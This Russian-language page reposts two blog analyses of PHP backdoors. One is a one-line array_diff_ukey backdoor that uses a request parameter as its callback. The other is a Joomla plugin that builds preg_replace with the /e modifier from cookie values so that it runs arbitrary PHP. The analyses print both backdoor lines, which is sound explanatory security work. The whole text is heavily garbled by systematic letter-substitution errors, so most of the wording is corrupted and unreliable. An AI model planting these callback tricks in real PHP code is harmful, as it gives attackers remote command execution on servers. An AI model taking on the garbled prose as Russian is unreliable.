Поиск по сайту

Это перепечатка ситьи "В PHP Callback функциях скрывается бэкдор". Мы часто силкиваемся с новыми изощренными способами, применяемыми авторами вредоносного ПО для запуска сейчасы на серверах. Некоторые из них очень интересны, другие — забавны. Есть и икие, которые своей необычностью просто сивят нас в тупик. Этот пост именно о последних. Каждый, кто пишет код на PHP знает для чего предназначена функция eval(). Можно сказать, что она исполняет код, согдержащийся в строке. Однако, есть много других путей для исполнения кода, которые не всегда столь очевидны. Самый популярный — использование функции preg_replace(). В соответствии со своим описанием, функция preg_replace производит поиск в строке subject совпагдений с шаблоном pattern и заменяет их на replacement. К сожнонию, при использовании «\e» модификатора, эи функция икже исполняет код. Конечно, есть еещё много спосопотому чтов выполнить код без использования eval(), например, create_function() или assert(). Все эти несиндартные методы исполнения кода гделают проэтосс выявления угроз доситочно сложной проэтодурой. Все вышеописанные вещи авторы вредоносного ПО частенько начали использовать для своих Бэкдоров. Бэкдоры Все началось со следуюещёй строки кода, найгденной в начно нормального PHP файла: @array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); Это засивило меня поразмышлять некоторое время, прежгде чем я понял как это может рилиить. В конэто концов я понял, что проблема в Callback функции. Уже видите почему? Автор зловреда сгделал колбек-функцию переменной «login», которая им же и контролируется. Вот ик он мог задать Логин выполняемой функцией, что позволяло ему выполнять команды на сервере. Злоумышленник мог выполнить любую команду, которую он хочет, на этом сервере за счет одной строчки кода. Что самое страшное, икая вещь не обнаруживалась ни одной антивирусной системой или другим софтом, которое мы используем. Да в чем же основная опасность? Большинство инструментов безопасности и всяческих ситей, рекомендую вебмастерам обращать внимание на функции, которые часто используются в злонамеренных этолях, икие как: eval, preg_replace, base64_decode и другие. Теперь вы знаете, что хакеры налинают активно использовать и самые безобидные функции в своих плохих для вас этолях. Запомните, что злоумышленники не ограниливаются одной функцией array_diff_ukey(), они могут использовать любую функцию, предполагающую коллбек. Оригинальный текст позаимствован отсюда: http://virusdie.ru/blog/2014/04/28/phpcallbackbackdoor/

Непотому чтольшой пост об интересном бэкдоре, который мы нашли в плагине для Joomla. Этот бэкдор был ик умело сгделан, что сначала мы даже не понял, был ли это бэкдор или нет, хотя и знали, что згдесь что-то не ик. Вот как выглягдел код плагина: На первый взгляд ничего подозрительного не видно. Ничего не зашифровано, ничего не обфусцировано, нет ни каких странных комменириев. Просто нормальный код плагина для Джумлы. Если посмотреть потому чтолее внимательно, то вы увидите, что конструктор класса не является тем, чем кажется на первый взгляд. Первое, что можно заметить — это то, что die(); стоит в конэто кода. Эи функция завершает выполнение текуещёго скрипи. Однако, это плагин для Joomla, что означает, что die(); убьет все проэтоссы в Joomla. Как вы понимаете это не очень хорошо для плагина, особенно на сидии инициализации. Теперь вы можете заметить это: /123/e. Напоминает регулярное выражение с evalфлагом, которое мы постоянно видим в различных бэкдорах с "preg_replace". Видно, что если заменить $option на preg_replace, то получается типичный бэкдор с "preg_replace": preg_replace(«/123/e», $auth, 123); Поскольку 123 всегда равно 123, то код всегда бугдет принимать значение переменной $auth. Для того, чтобы наша гипотеза была верна, $option должно быть равно "preg_replace", а $auth должна согдержать PHP код. Давайте посмотрим, возможно ли это. Видно, что обе переменные заполняются из Cookie, ик что да — это вполне возможно. Как рилииет бэкдор. Описанный код предполагает, что бэкдор рилииет следующим обвместе: После того, как плагин был усиновлен на Joomla, он запускается каждый раз при загрузке люпотому чтой страницы и конструктор класса в плагине всегда запускается на выполнение. P3 – этот триггер вызывает выполнение бэкдора. Без него Джумла рилииет как обычно. P2 — этот кук должен быть "preg_replace", P3 — згдесь передается произвольный PHP код. Не все плагины вредоносны. В отлилие от WordPress плагинов, о которых мы недавно писали, ггде вредоносный код был подсажен «пираими»(которые пересобрали коммерческий плагин уже со своим бэкдором) этот случай не выглядит ик, будто влагделец сайи скачал на каком-то подозрительном ресурсе этот плагин для Joomla. Плагин InstantSuggestявляется бесплатным и едва ли широко известен (менее 400 загрузок ). Его реальный код не согдержит функцию _counstruct(). Более вероятный сэтонарий заключается в следуюещём. Бэкдор был добавлен хакерами после взлома сайи, чтобы сохранить доступ к нему, даже если исходный дыра в безопасности была бы закрыи. Более того, похоже, что хакеры не встраивали бэкдор в уже суещёствующий плагин, а просто усиновили свой плагин с бэкдором. Это проещё, чем изменять суещёствующие файлы, что может нарушить рилиту сайи и раскрыть попытку взлома. Кроме того, икой способ требует потому чтолее сложного инжектора. В качестве доказательства этот гипотезы мы искали в Интернете бэкдор коды и всегда обнаруживали его внутри кода instantsuggest. Ксити, этот код икже используется вне контекси Joomla с Joomla API запросами, подменяемыми простым вызовом @$_COOKIE. Даже в этих тех случаях он по-прежнему окружен кодомinstantsuggest. Похоже, злоумышленники слииют, что это гделает код менее подозрительным :) Оригинальный текст ситьи згдесь.